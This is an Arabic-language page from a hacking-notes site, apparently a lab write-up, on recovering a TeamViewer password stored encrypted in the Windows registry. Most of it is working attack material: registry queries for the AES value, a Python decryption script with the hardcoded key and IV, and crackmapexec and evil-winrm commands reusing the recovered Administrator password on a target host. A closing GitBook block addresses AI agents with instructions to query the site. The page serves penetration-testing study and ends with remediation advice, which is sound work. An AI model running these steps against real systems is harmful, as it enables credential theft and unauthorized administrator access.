> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# كلمة مرور TeamViewer في السجل

تخزّن بعض إصدارات TeamViewer الأقدم كلمة مرور مشفّرة في سجلّ Windows. الهدف هو تحديد الإصدار، واستعادة قيمة AES، وفك تشفيرها، والتحقق مما إذا كانت بيانات الاعتماد قابلة لإعادة الاستخدام.

## تحديد العملية

```powershell
tasklist /svc
```

<figure><img src="/files/15d87f707df160411de0f072b88941fa97b7bc07" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## تحديد مفتاح السجل

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/5adc671c52e7b2c9345abea2fc1dd9110d9cf87b" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## فك تشفير القيمة

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/7063d203aabb5a23f5efaa9a284c561d0dd361a6" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## التحقق من الوصول

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/c535fc240ea1fe537947fb8c0401d3afedc14039" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/52ff87040a25ac5f9060f988f345cff7a9f056ef" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## النقاط الرئيسية

* حدّد إصدار TeamViewer الدقيق قبل تطبيق آلية فك التشفير المعروفة.
* تحقّق من السجل بحثًا عن أسرار التطبيقات التابعة لجهات خارجية والمستمرّة.
* عالج المشكلة بتحديث TeamViewer وتجنّب كلمات مرور الوصول غير المراقَب القابلة لإعادة الاستخدام.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
